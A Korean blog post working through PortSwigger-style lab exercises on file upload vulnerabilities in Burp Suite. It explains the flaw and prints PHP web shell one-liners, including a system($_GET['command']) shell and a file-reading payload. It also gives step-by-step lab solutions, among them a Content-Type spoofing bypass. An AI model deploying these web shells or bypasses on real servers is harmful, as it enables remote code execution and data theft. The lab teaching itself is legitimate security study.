웹 해킹/portswigger

버프슈트를 이용한 웹 해킹, 서버 측 취약점: 파일 업로드 취약점

코드라니(CODERANY) 2026. 3. 30. 21:39

파일 업로드 취약점이란 무엇인가요?

파일 업로드 취약점은 웹 서버가 파일 이름, 유형, 내용, 크기 등의 유효성 검사를 제대로 하지 않고 사용자가 파일을 업로드하도록 허용하는 경우 발생합니다. 이러한 제한을 제대로 적용하지 않으면 기본적인 이미지 업로드 기능조차도 임의의 위험한 파일을 업로드하는 데 악용될 수 있습니다. 심지어 원격 코드 실행을 가능하게 하는 서버 측 스크립트 파일까지 업로드될 수 있습니다.

어떤 경우에는 파일을 업로드하는 행위 자체만으로도 피해를 발생시킬 수 있습니다. 다른 공격 방식은 해당 파일에 대한 후속 HTTP 요청을 포함하는데, 이는 일반적으로 서버에서 해당 파일을 실행하도록 유도하는 것을 목표로 합니다.

파일 업로드 취약점은 어떻게 발생하는가?

이러한 위험성이 상당히 명백하기 때문에, 실제 웹사이트에서 사용자가 업로드할 수 있는 파일에 대한 제한이 전혀 없는 경우는 드뭅니다. 오히려 개발자들이 강력하다고 생각하는 유효성 검사 시스템을 구현하는 경우가 많지만, 이 시스템은 본질적으로 결함이 있거나 쉽게 우회될 수 있는 경우가 대부분입니다.

예를 들어, 위험한 파일 형식을 블랙리스트에 추가하려고 시도할 수 있지만, 파일 확장자를 검사할 때 구문 분석 오류를 고려하지 못할 수 있습니다. 모든 블랙리스트와 마찬가지로, 위험할 수 있는 잘 알려지지 않은 파일 형식을 실수로 누락하기 쉽습니다.

다른 경우에는 웹사이트가 Burp Proxy나 Repeater와 같은 도구를 사용하는 공격자가 쉽게 조작할 수 있는 속성을 확인하여 파일 형식을 검사하려고 시도할 수 있습니다.

궁극적으로, 아무리 강력한 검증 조치라 할지라도 웹사이트를 구성하는 호스트 및 디렉터리 네트워크 전체에 걸쳐 일관성 없이 적용될 수 있으며, 이로 인해 악용될 수 있는 불일치가 발생할 수 있습니다.

무제한 파일 업로드를 악용하여 웹 셸을 배포하는 방법

보안 관점에서 최악의 시나리오는 웹사이트에서 PHP, Java, Python 파일과 같은 서버 측 스크립트를 업로드할 수 있도록 허용하고, 해당 스크립트를 코드로 실행하도록 설정되어 있는 경우입니다. 이렇게 되면 서버에 웹 셸을 손쉽게 만들 수 있게 됩니다.

웹 셸

웹 셸은 공격자가 올바른 엔드포인트로 HTTP 요청을 보내는 것만으로 원격 웹 서버에서 임의의 명령을 실행할 수 있도록 하는 악성 스크립트입니다.

웹 셸을 성공적으로 업로드할 수 있다면 서버에 대한 완전한 제어권을 확보하게 됩니다. 즉, 임의의 파일을 읽고 쓸 수 있고, 민감한 데이터를 유출할 수 있으며, 심지어 서버를 이용하여 내부 인프라 및 네트워크 외부의 다른 서버에 대한 공격을 개시할 수도 있습니다. 예를 들어, 다음 PHP 코드 한 줄을 사용하면 서버의 파일 시스템에서 임의의 파일을 읽을 수 있습니다.

<?php echo file_get_contents('/path/to/target/file'); ?>

일단 업로드되고, 이 악성 파일에 요청을 보내면 응답으로 대상 파일의 내용이 반환됩니다.

보다 다양한 기능을 갖춘 웹 셸은 다음과 같은 모습일 수 있습니다.

<?php echo system($_GET['command']); ?>

이 스크립트를 사용하면 다음과 같이 쿼리 매개변수를 통해 임의의 시스템 명령을 전달할 수 있습니다.

GET /example/exploit.php?command=id HTTP/1.1

 

이 실습을 완료하려면 기본 PHP 웹 셸을 업로드하고 이를 사용하여 파일 /home/carlos/secret의 내용을 추출하세요. 추출한 비밀 키를 실습 배너에 제공된 버튼을 사용하여 제출하세요.

다음 자격 증명을 사용하여 본인 계정에 로그인할 수 있습니다. wiener:peter

 

 

1. 버프슈트 브라우저를 통해 로그인을 한다. wiener:peter

2. Burp를 통해 트래픽을 프록시하는 동안 계정에 로그인하면 아바타 이미지를 업로드하는 옵션이 표시됩니다.

    임의의 이미지를 업로드한 다음 계정 페이지로 돌아가세요. 이제 페이지에 아바타 미리보기가 표시되는 것을 확인할 수 있습니다.

업로드가 되면 이런 페이지로 이동하는데 Back to My Account를 클릭하여 내 계정으로 돌아가면 된다.

 

3. Burp에서 프록시 > HTTP history로 이동합니다 . 필터 막대를 클릭하여 HTTP 기록 필터 창을 엽니다. MIME 유형별 필터 에서 이미지 확인란을 선택한 다음 변경 사항을 적용합니다.


4. 프록시 기록에서 이미지가 GET요청을 통해 가져온 것을 확인하세요 /files/avatars/<YOUR-IMAGE>. 이 요청을 Burp Repeater로 보내세요.

5. 시스템에 exploit.phpCarlos의 비밀 파일 내용을 가져오는 스크립트가 포함된 파일을 생성하세요. 예를 들면 다음과 같습니다.

<?php echo file_get_contents('/home/carlos/secret'); ?>


6. 아바타 업로드 기능을 사용하여 악성 PHP 파일을 업로드하세요. 응답 메시지에서 파일이 성공적으로 업로드되었음을 확인할 수 있습니다.

7. Burp Repeater에서 요청 경로를 PHP 파일을 가리키도록 변경하세요. (번호 4. 참고)

서버가 스크립트를 실행하고 그 결과(카를로스의 비밀 키)를 응답으로 반환한 것을 확인할 수 있습니다.

GET /files/avatars/exploit.php HTTP/1.1

8. 실험 문제를 해결하는 비밀을 제출하세요.

 

 

파일 업로드 유효성 검사의 결함을 악용

실제 환경에서는 이전 실습에서 살펴본 것과 같은 파일 업로드 공격에 대한 방어 체계가 전혀 없는 웹사이트를 찾기는 어려울 것입니다. 하지만 방어 체계가 마련되어 있다고 해서 완벽하다고 할 수는 없습니다. 이러한 방어 메커니즘의 취약점을 악용하여 웹 셸을 획득하고 원격으로 코드를 실행할 수 있는 경우가 여전히 발생할 수 있습니다.

파일 형식 유효성 검사 오류

HTML 폼을 제출할 때 브라우저는 일반적으로 POST에 입력된 데이터를 콘텐츠 유형으로 application/x-www-form-urlencoded 요청과 함께 전송합니다. 이름이나 주소와 같은 간단한 텍스트를 전송하는 데는 문제가 없지만, 전체 이미지 파일이나 PDF 문서와 같은 대용량 바이너리 데이터를 전송하는 데는 적합하지 않습니다. 이러한 경우에는 콘텐츠 유형을 multipart/form-data로 사용하는 것이 좋습니다.

파일 형식 유효성 검사 오류 - 계속

이미지 업로드, 이미지 설명 입력, 사용자 이름 입력 등의 필드가 있는 양식을 생각해 보세요. 이러한 양식을 제출하면 다음과 같은 요청이 발생할 수 있습니다.

POST /images HTTP/1.1
     Host: normal-website.com
     Content-Length: 12345
     Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456

     ---------------------------012345678901234567890123456
     Content-Disposition: form-data; name="image"; filename="example.jpg"
     Content-Type: image/jpeg

     [...binary content of example.jpg...]

     ---------------------------012345678901234567890123456
     Content-Disposition: form-data; name="description"

     This is an interesting description of my image.

     ---------------------------012345678901234567890123456
     Content-Disposition: form-data; name="username"
     wiener
     ---------------------------012345678901234567890123456--

보시는 바와 같이, 메시지 본문은 폼의 각 입력 필드별로 분리되어 있습니다. 각 부분에는 해당 입력 필드에 대한 기본 정보를 제공하는 헤더 Content-Disposition가 포함되어 있습니다. 또한 이러한 개별 부분에는 서버에 해당 입력 필드를 통해 제출된 데이터의 MIME 유형을 알려주는 자체 헤더 Content-Type이 포함될 수 있습니다.

파일 형식 유효성 검사 오류 - 계속

웹사이트에서 파일 업로드 유효성을 검사하는 한 가지 방법은 입력 파일별 Content-Type헤더가 예상되는 MIME 유형과 일치하는지 확인하는 것입니다. 예를 들어 서버가 이미지 파일만 예상하는 경우, `image/jpeg`나 `image/png`와 같은 유형만 허용할 수 있습니다 . 서버가 이 헤더 값을 암묵적으로 신뢰하는 경우 문제가 발생할 수 있습니다. 파일 내용이 실제로 예상되는 MIME 유형과 일치하는지 확인하는 추가 유효성 검사가 수행되지 않으면 Burp Repeater와 같은 도구를 사용하여 이 보안 조치를 쉽게 우회할 수 있습니다.

이 실습을 완료하려면 기본 PHP 웹 셸을 업로드하고 /home/carlos/secret를 사용하여 파일 내용을 추출하세요. 추출한 비밀 키를 실습 배너에 제공된 버튼을 사용하여 제출하세요.


1. 버프슈트 브라우저를 통해 로그인을 한다. wiener:peter

2. Burp를 통해 트래픽을 프록시하는 동안 계정에 로그인하면 아바타 이미지를 업로드하는 옵션이 표시됩니다.

    임의의 이미지를 업로드한 다음 계정 페이지로 돌아가세요. 이제 페이지에 아바타 미리보기가 표시되는 것을 확인할 수 있습니다.

업로드가 되면 이런 페이지로 이동하는데 Back to My Account를 클릭하여 내 계정으로 돌아가면 된다.

 

3. Burp에서 프록시 > HTTP history로 이동합니다 . 필터 막대를 클릭하여 HTTP 기록 필터 창을 엽니다. MIME 유형별 필터 에서 이미지 확인란을 선택한 다음 변경 사항을 적용합니다.


4. 프록시 기록에서 이미지가 GET요청을 통해 가져온 것을 확인하세요 /files/avatars/<YOUR-IMAGE>. 이 요청을 Burp Repeater로 보내세요.

 

5. 시스템에 exploit.phpCarlos의 비밀 파일 내용을 가져오는 스크립트가 포함된 파일을 생성하세요. 예를 들면 다음과 같습니다.

<?php echo file_get_contents('/home/carlos/secret'); ?>

6. 이 스크립트를 아바타로 업로드하려고 시도했습니다. 응답에는 MIME 유형이 image/jpeg또는  image/png인 파일만 업로드할 수 있다고 표시됩니다.

7. 파일과 관련된 메시지 본문 부분에서 지정된 값을 Content-Type: image/jpeg로 변경합니다.

8. Burp Repeater에서 요청 경로를 PHP 파일을 가리키도록 변경하세요. (번호 4. 참고)

서버가 스크립트를 실행하고 그 결과(카를로스의 비밀 키)를 응답으로 반환한 것을 확인할 수 있습니다.

GET /files/avatars/exploit.php HTTP/1.1

9.실험 문제를 해결하는 비밀을 제출하세요.